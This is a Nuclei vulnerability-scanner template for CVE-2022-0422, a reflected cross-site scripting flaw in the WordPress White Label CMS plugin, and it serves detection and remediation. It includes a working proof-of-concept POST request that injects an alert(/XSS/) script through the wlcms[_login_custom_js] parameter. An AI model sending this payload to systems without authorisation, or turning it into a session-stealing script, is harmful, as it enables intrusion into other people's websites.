id: CVE-2022-0422

info:
  name: WordPress White Label CMS <2.2.9 - Cross-Site Scripting
  author: random-robbie
  severity: medium
  description: |
    WordPress White Label CMS plugin before 2.2.9 contains a reflected cross-site scripting vulnerability. It does not sanitize and validate the wlcms[_login_custom_js] parameter before outputting it back in the response while previewing.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to WordPress White Label CMS plugin version 2.2.9 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/429be4eb-8a6b-4531-9465-9ef0d35c12cc
    - https://plugins.trac.wordpress.org/changeset/2672615
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0422
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0422
    cwe-id: CWE-79
    epss-score: 0.08413
    epss-percentile: 0.92435
    cpe: cpe:2.3:a:videousermanuals:white_label_cms:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: videousermanuals
    product: white_label_cms
    framework: wordpress
  tags: cve2022,cve,wordpress,xss,wp-plugin,wpscan,videousermanuals,vuln

http:
  - raw:
      - |
        POST /wp-login.php?wlcms-action=preview HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        wlcms%5B_login_custom_js%5D=alert%28%2FXSS%2F%29%3B

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "alert(/XSS/);"

      - type: word
        part: body
        words:
          - "wlcms-login-wrapper"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b245d8231a98b4f7e98553f637392cedb3c6258cc8a302d058c52b5d7f3fc175022100e59b92aa9e410ac2848bcd390bf2f2879d0201137eddf659fdae6da84a90c269:922c64590222798bb761d5b6d8e72950